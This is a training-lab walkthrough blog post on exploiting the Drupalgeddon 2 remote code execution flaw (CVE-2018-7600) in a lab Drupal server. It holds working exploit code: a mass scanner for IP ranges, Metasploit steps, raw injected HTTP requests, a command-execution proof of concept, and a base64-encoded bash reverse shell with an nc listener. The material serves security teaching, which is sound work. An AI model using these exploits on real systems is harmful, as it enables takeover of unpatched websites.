blog
[CVE-2018-7600] Drupalged ...
17 November 22

[CVE-2018-7600] Drupalgeddon 2

Posted byINE
facebooktwitterlinkedin
news-featured

In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Purpose: We are learning how to exploit the Drupal server's vulnerable version using the Metasploit Framework and a Python script.

Technical difficulty: Beginner

Introduction

In late March 2018, a critical vulnerability was uncovered in Drupal CMS. Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 versions were affected by this vulnerability.

It allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or standard module configurations.

A lot of PoC is available to exploit this vulnerability.

Lab Environment

In this lab environment, the user will get access to a Kali GUI instance. A vulnerable Drupal CMS is deployed on http://demo.ine.local. The CMS is vulnerable to Drupalgeddon Remote Code Execution (CVE-2018-7600)

Drupalgeddon_2_0.png

Tools

The best tools for this lab are:

- Metasploit Framework

- Nmap

- Bash Shell

- Python

- Burp Suite

Objective: Exploit the Drupal CMS vulnerability and retrieve the flag!

Solution

  1. Scanning and Identifying the running Drupal CMS
  2. Detecting the vulnerability
  3. Exploitation using Metasploit
  4. Manually Exploitation
  5. Writing a Python script

Step 1: Open the lab link to access the Kali GUI instance.

Drupalgeddon_2_1.jpg

Step 2: Check if the provided machine/domain is reachable.

Commands:

ping -c 4 demo.ine.local

Drupalgeddon_2_2.jpg

The provided machine is reachable, i.e., demo.ine.local. Also found the target's IP address.

Step 3: Check for open ports on the target machine.

Command:

nmap demo.ine.local

Drupalgeddon_2_3.jpg

Port 80 is open on the target machine. 

Step 4: Run nmap on port 80 and find more about the running service.

Command:

nmap -p 80 -sS -sV demo.ine.local

-p: Only scan specified ports

-sS: TCP SYN/Connect()/ACK/Window/Maimon scans

-sV: Probe open ports to determine service/version info

Drupalgeddon_2_4.jpg

The target is running Apache httpd 2.4.18 on port 80. 

Step 5: Access the webserver using the firefox browser and find the running application

URL: http://demo.ine.local

Drupalgeddon_2_5.jpg

Drupal CMS is running.

Step 6: Access the CHANGELOG.txt file on the server. The version information should be present in this file. 

URL: http://demo.ine.local/CHANGELOG.txt

By default, the CHANGELOG.txt is present in the drupal archive https://ftp.drupal.org/files/projects/drupal-{VERSION}.tar.gz. So, if the admin hasn't deleted the file, we can quickly identify the running CMS version.

Drupalgeddon_2_6.jpg

The target is running Drupal 7.57, 2018-02-21 version.

Search for the public exploit of the Drupal 7.57 application using searchsploit.

About "searchsploit"

searchsploit is a bash script that helps find exploits for services, OSes, and applications.

Command:

searchsploit drupal 7.57

Drupalgeddon_2_6_1.jpg

Drupal is vulnerable to remote command execution (RCE). Also, there is a Metasploit module available.

Vulnerability Identification

There is a python script developed by fyraiga. Run the script and confirm the vulnerability

Code:

#written by fyraiga 
#POC adapted from FireFart CVE-2018-7600
#import here
import argparse
import ipaddress
import itertools
import re
import requests
import sys
import time
#functions
def exploit(ip_targets):
    send_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
    send_data = {'form_id':'user_pass', '_triggering_element_name':'name'}
    ipregex = re.compile("(\d{1,3}\.){3}\d{1,3}.*")
    num_scanned = len(ip_targets)
    num_vuln = 0
    time_start = time.time()
    for ip_target in ip_targets:
        result = ipregex.match(ip_target)
        ip_target = "http://"+ip_target
        if result is not None:
            r = None
            print("{:=<74}".format(""))
            print("[~] {:<60} [{:^7}]".format(ip_target, "..."), end="", flush=True)
            if verbose == True:
                try:
                    r = requests.post(ip_target, data=send_data, params=send_params, timeout=3)
                except requests.exceptions.Timeout:
                    print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                    print("{:>7} ERROR: Server seems to be down (Timeout)".format("--"))
                    continue
                except requests.exceptions.ConnectionError:
                    print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                    print("{:>7} ERROR: Unable to connect to the webserver (Connection Error)".format("--"))
                    continue
                except requests.exceptions.HTTPError:
                    print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                    print("{:>7} ERROR: 4xx/5xx".format("--"))
                    continue
                except requests.exceptions.InvalidURL:
                    print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                    print("{:>7} ERROR: Invalid URL.".format("--"))
                    continue
                except Exception:
                    print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                    print("{:>7} ERROR: Unexpected Error".format("--"))
                    sys.exit()
                else: 
                    print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
                    print("{:>7} OK: Alive".format("--"))
            else:
                try:
                    r = requests.post(ip_target, data=send_data, params=send_params, timeout=5)
                except Exception:
                    print("\r[~] {:<60} [{:^7}]".format(ip_target, "ERR"))
                    continue
                else:
                    print("\r[~] {:<60} [{:^7}]".format(ip_target, "OK"))
            #Finding block of data to check server type
            m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
            if m:
                if verbose == True:
                    print("{:>7} OK: Server seems to be running Drupal".format("--"))
                found = m.group(1)
                send_params2 = {'q':'file/ajax/name/#value/' + found}
                send_data2 = {'form_build_id':found}
                r = requests.post(ip_target, data=send_data2, params=send_params2)
                r.encoding = 'ISO-8859-1'
                out = r.text.split("[{")[0].strip()
                if out == "":
                    print("{:>7} Patched (CVE-2018-7600)".format("--"))
                    continue
                else: 
                    print("{:>7} Vulnerable (CVE-2018-7600)".format("--"))
                    num_vuln += 1
            else:
                print("{:>7} Doesnt seem like a Drupal server?".format("--"))
                continue
        else:
            raise ValueError("Invalid IP Address")
    time_fin = time.time()
    print("{:=<74}".format(""))
    print("[+] {} target(s) scanned, {} target(s) vulnerable (CVE-2018-7600)".format(num_scanned, num_vuln))
    print("[+] Scan completed in {:.3f} seconds".format(time_fin-time_start))
def process_file(target):
    hostlist = []
    try:
        file = open(target, "r")
        for line in file:
            hostlist.append(line.strip())
        exploit(hostlist)
    except FileNotFoundError:
        print("[!] Unable to locate file. Check file path.")
        sys.exit()
    except ValueError:
        print("[!] Invalid value in file. Ensure only IPv4 addresses exist!")
        sys.exit()
    except Exception as e:
        print(e)
        print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
        sys.exit()
def process_multiple(target):
    hostlist = target.split(",")
    try:
        for data in hostlist:
            data = data.strip()
        exploit(hostlist)
    except ValueError:
        print("[!] Invalid Input. Only IPv4 addresses are accepted.")
        sys.exit()
    except Exception:
        print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
        sys.exit()
def process_range(target):
    try:
        hostlist = []
        raw_octets = target.split(".")
        octets = [x.strip().split("-") for x in raw_octets]
        octet_range = [range(int(x[0]), int(x[1])+1) if len(x) == 2 else x for x in octets]
        for x in itertools.product(*octet_range):
            hostlist.append('.'.join(map(str,x)).strip())
        exploit(hostlist)
    except ValueError:
        print("[!] Invalid Input. Only IPv4 ranges are accepted.")
        sys.exit()
    except Exception as e:
        print(e)
        print("Unexpected Errror")
        sys.exit()
def process_ip(target):
    try:
        exploit([target.strip()])
    except ValueError:
        print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.\n{:>7} Use -h to see other modes.".format("--"))
        sys.exit()
    except Exception:
        print("[!] Unexpected Error")
        sys.exit()
def process_cidr(target):
    hostlist = []
    try:
        net = ipaddress.ip_network(target.strip(), strict=False)
        for host in net.hosts():
            hostlist.append(str(host))
        exploit(hostlist)
    except ValueError:
        print("[!] Invalid Input. Only IPv4 & valid CIDR addresses are accepted for IP mode.\n{:>7} Use -h to see other modes.".format("--"))
        sys.exit()
    except Exception:
        print("[!] Unexpected Error")
        sys.exit()
#main here
def main():
    parser = argparse.ArgumentParser(prog="drupalgeddon2-scan.py",
    formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50))
    try:
        parser.add_argument("target", help="IP of target site(s)")
        parser.add_argument('-c', "--cidr", default=False, action="store_true", help="Generate & scan a range given a CIDR address")
        parser.add_argument('-f', "--file", default=False, action="store_true", help="Retrieve IP Addresses from a file (1 per line)")
        parser.add_argument('-i', "--ip", default=True, action="store_true", help="Single IP Address (CIDR migrated to a seperate mode)")
        parser.add_argument('-m', "--multiple", default=False, action="store_true", help="Multiple IP Adddress e.g. 192.168.0.1,192.168.0.2,192.168.0.3")
        parser.add_argument('-r', "--range", default=False, action="store_true", help="IP Range e.g. 192.168.1-2.0-254 (nmap format)")
        parser.add_argument('-v', "--verbose", default=False, action="store_true", help="Provide a more verbose display")
        parser.add_argument("-o", "--http-only", default=False, action="store_true", help="To be implemented (Current state, https not implemented)")
        parser.add_argument("-s", "--https-only", default=False, action="store_true", help="To be implemented")
    except Exception:
        print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")
        sys.exit()
    try:
        args, u = parser.parse_known_args()
    except Exception:
        print("[!] Invalid arguments!")
        sys.exit()
    #renaming variable
    global verbose 
    verbose = args.verbose
    #Verbose message
    print("[~] Starting scan...")
    #IP range in a CIDR format
    if args.cidr == True:
        process_cidr(args.target)
    #IPs from a file
    elif args.file == True:
        process_file(args.target)
    #Multiple IPs (separated w commas)
    elif args.multiple == True:
        process_multiple(args.target)
    #IP Range (start-end)
    elif args.range == True:
        process_range(args.target)
    #IP Address/CIDR
    elif args.ip == True:
        process_ip(args.target)
        
    #Unrecognised arguments
    else:
        print("[!] Unexpected Outcome! This should not be happening. Please inform me at Github!")
        sys.exit()
    sys.exit()
#ifmain here
if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print ("\n-- Ctrl+C caught. Terminating program.")
    except Exception as e:
        print(e)
        print("[!] Unexpected Error! This should not be happening. Please inform me at Github!")

Save the script on the attacker machine and run the script.

Commands:

nano scan.py

<code>

python3 scan.py 192.127.233.3

Note: Provide only the target IP Address as an argument

Drupalgeddon_2_6_2.jpg

The target is vulnerable to CVE-2018-7600

Step 7: Run the Metasploit framework and search for the drupal_drupalgeddon2 module.

This module exploits a Drupal property injection in the Forms API. Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable. Source: https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2/

Commands:

msfconsole -q

search drupal

use exploit/unix/webapp/drupal_drupalgeddon2

Drupalgeddon_2_7.jpg

Step 8: There is a Metasploit module available. Check all the available module options.

Command:

show options

Drupalgeddon_2_8.jpg

All options are already set. Configure LHOST and RHOSTS, then exploit the application.

Check the attacker's machine IP address.

Command:

ip addr

Drupalgeddon_2_8_1.jpg

In this case it is 192.127.233.2. 

Exploit Drupal CMS

Commands:

set RHOSTS demo.ine.local

set LHOST 192.127.233.2

set VERBOSE true

check

exploit

Drupalgeddon_2_8_2.jpg

Received a meterpreter session.

Read the flag

Command:

ls

cat THIS_IS_FLAG1212121

Drupalgeddon_2_8_3.jpg

FLAG: e0572f60b6e647a69a120cfd0bdfcaa4

Successfully exploited the Drupal CMS using the metasploit framework.

Manual Exploitation

Before exploiting the vulnerability manually, first look into the technical details.

The leading cause of this vulnerability is the Drupal Form API known as "Renderable Arrays." The vulnerability exists due to insufficient sanitation of inputs passed via Form API and AJAX requests. It is an extended API used to represent the structure of most of the UI elements in Drupal, i.e., pages, blocks, nodes, etc. An attacker can trigger the vulnerability by injecting a malicious render array responsible for RCE.

The API was introduced in the drupal 7.0 version and is used for rendering structured data (Renderable Arrays) into HTML markup. 

>In brief, Drupal had insufficient input sanitation on Form API (FAPI) AJAX requests. As a result, this potentially enabled an attacker to inject a malicious payload into the internal form structure. This would have caused Drupal to execute it without user authentication. By exploiting this vulnerability, an attacker would have been able to carry out an entire site takeover of any Drupal customer. Source: https://research.checkpoint.com/2018/uncovering-drupalgeddon-2/

How to exploit?

First, send the malicious reander request to /?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=<CMD>. Successful submission generates the form_build_id that is used for rendering the data which causes command execution, eg: file/ajax/name/#value/form-<ID>

Burp Suite is a good tool for sending the POST request and exploiting the vulnerability.

Step 9: Start burp suite and configure the proxy

Drupalgeddon_2_9.jpg

Click on Next

Drupalgeddon_2_9_1.jpg

Click on Start Burp

Drupalgeddon_2_9_2.jpg

Drupalgeddon_2_9_3.jpg

Burp Suite is running. Switch the tab to Proxy

Drupalgeddon_2_9_4.jpg

The intercept is already on. Switch back to the firefox browser and enable the proxy.

Go to the Right side of the firefox browser and click on the FroxyFoxy icon.

Drupalgeddon_2_9_5.jpg

Then, click on Burp Suite / ZAP config.

Drupalgeddon_2_9_6.jpg

The Burp Suite configuration is done. Access the /?q=user/password page, then click on E-mail new password and intercept the request.

URL: http://demo.ine.local/?q=user/password

Drupalgeddon_2_9_7.jpg

Captured the request. Send the request to the burp repeater.

Drupalgeddon_2_9_8.jpg

Drupalgeddon_2_9_9.jpg

Drupalgeddon_2_9_10.jpg

Step 10: Inject the malicious render array.

&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=whoami

Encoded

&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=whoami

Modify the request and use the above-encoded value and send the request. Also, modify the headers.

POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=whoami HTTP/1.1

Host: demo.ine.local

User-Agent: python-requests/2.20.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password

Drupalgeddon_2_10.jpg

Send the request

Drupalgeddon_2_10_1.jpg

Found the form build-id

form-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY

Drupalgeddon_2_10_2.jpg

Send the request to render the form.

POST /?q=file/ajax/name/#value/form-<id> HTTP/1.1

Host: demo.ine.local

User-Agent: python-requests/2.20.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Content-Length: 62

Content-Type: application/x-www-form-urlencoded

form_build_id=form-<id>

Encoded

POST /?q=file%2Fajax%2Fname%2F%23value%2Fform-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY HTTP/1.1

Host: demo.ine.local

User-Agent: python-requests/2.20.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Content-Length: 62

Content-Type: application/x-www-form-urlencoded

form_build_id=form-hniH5Vvhfnf6YGE3K55BKsh13nga3Ex0sowHPdKBorY

Use the above request to execute the whoami command on the target machine. The above request render the form and run the command on the system.

1.jpg

Drupalgeddon_2_10_4.jpg

The whoami command returned an output www-data.

This confirms the exploitation of the vulnerability. You could also send /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23type%5D=markup&name%5B%23markup%5D=cat+/etc/passwd request to read the /etc/passwd file. Follow both steps again.

Exploiting Using Python

Step 11: There are a lot of PoC available to exploit Drupalgeddon vulnerability.

In this case, use a script created by Christian Mehlmauer: https://github.com/firefart/CVE-2018-7600/blob/master/poc.py

import requests
import re
HOST="http://192.168.60.129/"
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':'id', 'name[#type]':'markup'}
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(HOST, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
    found = m.group(1)
    get_params = {'q':'file/ajax/name/#value/' + found}
    post_params = {'form_build_id':found}
    r = requests.
Modifying the script that accepts the target server and command arguments.
import requests
import re
import argparse
my_parser = argparse.ArgumentParser(description='Drupalgeddon Remote Command Execution')
my_parser.add_argument('-T', '--URL', help='Target URL eg: http://demo.ine.local', type=str)
my_parser.add_argument('-C', '--COMMAND', help='Command to execute eg: whoami', type=str)
args = my_parser.parse_args()
target = args.URL
cmd = args.COMMAND
get_params = {'q':'user/password', 'name[#post_render][]':'passthru', 'name[#markup]':cmd, 'name[#type]':'markup'} 
post_params = {'form_id':'user_pass', '_triggering_element_name':'name'}
r = requests.post(target, data=post_params, params=get_params)
m = re.search(r'<input type="hidden" name="form_build_id" value="([^"]+)" />', r.text)
if m:
    found = m.group(1)
    get_params = {'q':'file/ajax/name/#value/' + found}
    post_params = {'form_build_id':found}
    r = requests.post(target, data=post_params, params=get_params)
    print(r.text)

Save the script and execute a command on the target machine.

Commands:

nano poc.py

<code>

python3 poc.py -h

python3 poc.py -T http://demo.ine.local -C 'whoami; pwd'

Drupalgeddon_2_11.jpg

Both the commands were correctly executed on the target server and received an output.

Get the reverse bash shell of the target server.

Commands:

echo 'bash -i >& /dev/tcp/192.127.233.2/4444 0>&1' | base64

Drupalgeddon_2_11_1.jpg

Final Command:

echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTI3LjIzMy4yLzQ0NDQgMD4mMQo=' | base64 -d | bash -i

Note: Make sure your attacker's machine IP address

Start netcat listener on port 4444.

Command:

nc -lvp 4444

Drupalgeddon_2_11_2.jpg

Execute the script and the bash reverse shell command.

Command:

python3 poc.py -T http://demo.ine.local -C 'echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTI3LjIzMy4yLzQ0NDQgMD4mMQo=' | base64 -d | bash -i'

id

ip addr

2.jpg

Drupalgeddon_2_11_4.jpg

Received the reverse shell. We have successfully exploited the Drupal server using the Metasploit Framework and a Python script. Also, we have learned how to exploit the CMS using the burp suite by modifying the requests. 

References

Drupal Drupalgeddon 2 Forms API Property Injection

Uncovering Drupalgeddon 2

Drupalgeddon 2 Vulnerability Used to Infect Servers With Backdoors & Coinminers

Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

Need training for your entire team?

Schedule a Demo

Hey! Don’t miss anything - subscribe to our newsletter!

© 2022 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo